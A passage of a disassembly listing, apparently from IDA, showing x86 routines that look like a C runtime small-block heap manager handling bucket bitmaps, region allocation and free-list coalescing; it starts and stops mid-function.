		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41EBE7
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41EBE7:				; CODE XREF: sub_41EA6B+16Dj
					; sub_41EA6B+183j
		test	ecx, ecx
		jl	short loc_41EBF0
		shl	ecx, 1
		inc	edi
		jmp	short loc_41EBE7
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EA6B+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41EC0D
		push	3Fh
		pop	esi


loc_41EC0D:				; CODE XREF: sub_41EA6B+19Dj
		cmp	esi, edi
		jz	loc_41ED22
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EC7E
		cmp	edi, 20h
		jge	short loc_41EC4D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC4D:				; CODE XREF: sub_41EA6B+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC7B:				; CODE XREF: sub_41EA6B+1D6j
					; sub_41EA6B+203j
		mov	ebx, [ebp+arg_0]


loc_41EC7E:				; CODE XREF: sub_41EA6B+1B0j
					; sub_41EA6B+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41ED2E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41ED1F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41ECF0
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ECDE
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41ECDE:				; CODE XREF: sub_41EA6B+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41ED1F
; ---------------------------------------------------------------------------


loc_41ECF0:				; CODE XREF: sub_41EA6B+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ED09
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41ED09:				; CODE XREF: sub_41EA6B+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41ED1F:				; CODE XREF: sub_41EA6B+24Ej
					; sub_41EA6B+283j
		mov	ecx, [ebp+var_8]


loc_41ED22:				; CODE XREF: sub_41EA6B+1A4j
		test	ecx, ecx
		jz	short loc_41ED31
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41ED31
; ---------------------------------------------------------------------------


loc_41ED2E:				; CODE XREF: sub_41EA6B+229j
		mov	ecx, [ebp+var_8]


loc_41ED31:				; CODE XREF: sub_41EA6B+2B9j
					; sub_41EA6B+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41ED67
		cmp	ebx, dword_4DD374
		jnz	short loc_41ED67
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DD36C
		jnz	short loc_41ED67
		and	dword_4DD374, 0


loc_41ED67:				; CODE XREF: sub_41EA6B+2E0j
					; sub_41EA6B+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41ED6F:				; CODE XREF: sub_41EA6B+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ED74	proc near		; CODE XREF: sub_41EA6B+CCp
		mov	eax, dword_4DD378
		mov	ecx, dword_4DD368
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EDB7
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DD37C
		push	edi
		push	dword_4DD384
		nop
		call	near ptr 2840000h
		cmp	eax, edi
		jz	short loc_41EE07
		add	dword_4DD368, 10h
		mov	dword_4DD37C, eax
		mov	eax, dword_4DD378


loc_41EDB7:				; CODE XREF: sub_41ED74+11j
		mov	ecx, dword_4DD37C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DD384
		lea	esi, [ecx+eax*4]
		call	near ptr 27C0000h
		nop
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EE07
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 2660559h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EE0B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DD384
		call	near ptr 27B0000h
		nop


loc_41EE07:				; CODE XREF: sub_41ED74+30j
					; sub_41ED74+67j
		xor	eax, eax
		jmp	short loc_41EE22
; ---------------------------------------------------------------------------


loc_41EE0B:				; CODE XREF: sub_41ED74+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DD378
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EE22:				; CODE XREF: sub_41ED74+95j
		pop	edi
		pop	esi
		retn
sub_41ED74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE25	proc near		; CODE XREF: sub_41EA6B+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EE37:				; CODE XREF: sub_41EE25+19j
		test	eax, eax
		jl	short loc_41EE40
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EE37
; ---------------------------------------------------------------------------


loc_41EE40:				; CODE XREF: sub_41EE25+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EE55:				; CODE XREF: sub_41EE25+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EE55
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 2660559h
		test	eax, eax
		jnz	short loc_41EE88
		or	eax, 0FFFFFFFFh
		jmp	loc_41EF1B
; ---------------------------------------------------------------------------


loc_41EE88:				; CODE XREF: sub_41EE25+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EECE
		lea	eax, [edi+10h]


loc_41EE95:				; CODE XREF: sub_41EE25+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EE95


loc_41EECE:				; CODE XREF: sub_41EE25+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EF0B
		or	[eax+4], edi


loc_41EF0B:				; CODE XREF: sub_41EE25+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EF1B:				; CODE XREF: sub_41EE25+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF20	proc near		; CODE XREF: sub_41BBE2+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41F0CE
		test	bl, 1
		jnz	loc_41F0C7
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41F0C7
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EF97
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41EF97:				; CODE XREF: sub_41EF20+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EFE7
		cmp	ecx, 20h
		jnb	short loc_41EFC3
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EFE7
; ---------------------------------------------------------------------------


loc_41EFC3:				; CODE XREF: sub_41EF20+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EFE7:				; CODE XREF: sub_41EF20+7Dj
					; sub_41EF20+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41F0B5
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41F021
		push	3Fh
		pop	edi


loc_41F021:				; CODE XREF: sub_41EF20+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41F0A3
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41F07A
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F06D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41F06D:				; CODE XREF: sub_41EF20+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41F09F
; ---------------------------------------------------------------------------


loc_41F07A:				; CODE XREF: sub_41EF20+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F090
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41F090:				; CODE XREF: sub_41EF20+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41F09F:				; CODE XREF: sub_41EF20+158j
		shr	edx, cl
		or	[eax], edx


loc_41F0A3:				; CODE XREF: sub_41EF20+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41F0B8
; ---------------------------------------------------------------------------


loc_41F0B5:				; CODE XREF: sub_41EF20+E5j
		mov	edx, [ebp+arg_4]


loc_41F0B8:				; CODE XREF: sub_41EF20+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41F20E
; ---------------------------------------------------------------------------


loc_41F0C7:				; CODE XREF: sub_41EF20+52j
					; sub_41EF20+5Cj
		xor	eax, eax
		jmp	loc_41F211
; ---------------------------------------------------------------------------


loc_41F0CE:				; CODE XREF: sub_41EF20+49j
		jge	loc_41F20E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41F0F9
		push	3Fh
		pop	esi


loc_41F0F9:				; CODE XREF: sub_41EF20+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41F188
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F112
		push	3Fh
		pop	esi


loc_41F112:				; CODE XREF: sub_41EF20+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41F161
		cmp	esi, 20h
		jnb	short loc_41F13D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41F15E
; ---------------------------------------------------------------------------


loc_41F13D:				; CODE XREF: sub_41EF20+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41F15E:				; CODE XREF: sub_41EF20+214j
					; sub_41EF20+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41F161:				; CODE XREF: sub_41EF20+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F188
		push	3Fh
		pop	esi


loc_41F188:				; CODE XREF: sub_41EF20+1DDj
					; sub_41EF20+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41F205
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41F1DC
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1CF
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41F1CF:				; CODE XREF: sub_41EF20+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41F201
; ---------------------------------------------------------------------------


loc_41F1DC:				; CODE XREF: sub_41EF20+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1F2
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41F1F2:				; CODE XREF: sub_41EF20+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41F201:				; CODE XREF: sub_41EF20+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41F205:				; CODE XREF: sub_41EF20+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41F20E:				; CODE XREF: sub_41EF20+1A2j
					; sub_41EF20:loc_41F0CEj
		push	1
		pop	eax


loc_41F211:				; CODE XREF: sub_41EF20+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F216	proc near		; CODE XREF: sub_41F50E:loc_41F6DDp
		cmp	dword_43AE60, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41F22A
		mov	esi, offset off_43AE50
		jmp	short loc_41F247
; ---------------------------------------------------------------------------


loc_41F22A:				; CODE XREF: sub_41F216+Bj
		push	2020h
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41F353


loc_41F247:				; CODE XREF: sub_41F216+12j
		mov	ebp, dword_427064
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41F33C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41F32E
		mov	eax, offset off_43AE50
		cmp	esi, eax
		jnz	short loc_41F2A6
		cmp	off_43AE50, 0
		jnz	short loc_41F296
		mov	off_43AE50, eax


loc_41F296:				; CODE XREF: sub_41F216+79j
		cmp	off_43AE54, 0
		jnz	short loc_41F2BB
		mov	off_43AE54, eax
		jmp	short loc_41F2BB
; ---------------------------------------------------------------------------


loc_41F2A6:				; CODE XREF: sub_41F216+70j
		mov	[esi], eax
		mov	eax, off_43AE54
		mov	[esi+4], eax
		mov	off_43AE54, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41F2BB:				; CODE XREF: sub_41F216+87j
					; sub_41F216+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41F2DD:				; CODE XREF: sub_41F216+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41F2DD
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_41F306:				; CODE XREF: sub_41F216+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41F32A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41F306
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F216+F7j
		mov	eax, esi
		jmp	short loc_41F355
; ---------------------------------------------------------------------------


loc_41F32E:				; CODE XREF: sub_41F216+63j
		push	8000h
		push	0
		push	edi
		call	near ptr 26606FEh
		nop


loc_41F33C:				; CODE XREF: sub_41F216+4Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F353
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27B0000h


loc_41F353:				; CODE XREF: sub_41F216+2Bj
					; sub_41F216+12Cj
		xor	eax, eax


loc_41F355:				; CODE XREF: sub_41F216+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F216	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F35A	proc near		; CODE XREF: sub_41F3B0+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 26606FEh
		nop
		cmp	off_43CE70, esi
		jnz	short loc_41F37F
		mov	eax, [esi+4]
		mov	off_43CE70, eax


loc_41F37F:				; CODE XREF: sub_41F35A+1Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F3A7
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DD384
		nop
		call	near ptr 27B0000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F3A7:				; CODE XREF: sub_41F35A+2Bj
		or	dword_43AE60, 0FFFFFFFFh
		pop	esi
		retn
sub_41F35A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3B0	proc near		; CODE XREF: sub_41F4C9+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43AE54
		push	edi


loc_41F3BD:				; CODE XREF: sub_41F3B0+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41F45B
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41F3D6:				; CODE XREF: sub_41F3B0+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41F417
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 26606FEh
		test	eax, eax
		jz	short loc_41F417
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DBE40
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41F40C
		cmp	eax, edi
		jbe	short loc_41F40F


loc_41F40C:				; CODE XREF: sub_41F3B0+56j
		mov	[esi+0Ch], edi


loc_41F40F:				; CODE XREF: sub_41F3B0+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41F424


loc_41F417:				; CODE XREF: sub_41F3B0+2Cj
					; sub_41F3B0+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41F3D6


loc_41F424:				; CODE XREF: sub_41F3B0+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41F45B
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41F45B
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41F43B:				; CODE XREF: sub_41F3B0+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41F44C
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41F43B


loc_41F44C:				; CODE XREF: sub_41F3B0+8Ej
		cmp	edx, 400h
		jnz	short loc_41F45B
		push	ecx
		call	sub_41F35A
		pop	ecx


loc_41F45B:				; CODE XREF: sub_41F3B0+11j
					; sub_41F3B0+7Dj ...
		cmp	esi, off_43AE54
		jz	short loc_41F46D
		cmp	[ebp+arg_0], 0
		jg	loc_41F3BD


loc_41F46D:				; CODE XREF: sub_41F3B0+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F3B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F472	proc near		; CODE XREF: sub_41BA91+3Ap
					; sub_41BBE2+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43AE50
		push	esi
		mov	ecx, edx


loc_41F47E:				; CODE XREF: sub_41F472+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41F488
		cmp	eax, [ecx+14h]
		jb	short loc_41F490


loc_41F488:				; CODE XREF: sub_41F472+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41F4C5
		jmp	short loc_41F47E
; ---------------------------------------------------------------------------


loc_41F490:				; CODE XREF: sub_41F472+14j
		test	al, 0Fh
		jnz	short loc_41F4C5
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41F4C5
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41F4C5:				; CODE XREF: sub_41F472+1Aj
					; sub_41F472+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41F472	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4C9	proc near		; CODE XREF: sub_41BA91+4Dp
					; sub_41BBE2+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41F50D
		inc	dword_4DBE40
		cmp	dword_4DBE40, 20h
		jnz	short locret_41F50D
		push	10h
		call	sub_41F3B0
		pop	ecx

locret_41F50D:				; CODE XREF: sub_41F4C9+2Bj
					; sub_41F4C9+3Aj
		retn
sub_41F4C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F50E	proc near		; CODE XREF: sub_41BBE2+1ACp
					; sub_41BEF3+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43CE70
		push	edi


loc_41F51C:				; CODE XREF: sub_41F50E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41F5C7
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41F581


loc_41F547:				; CODE XREF: sub_41F50E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41F56A
		cmp	[edi+4], ebx
		jbe	short loc_41F56A
		push	ebx
		push	ecx
		push	eax
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	eax, [ebp+var_4]
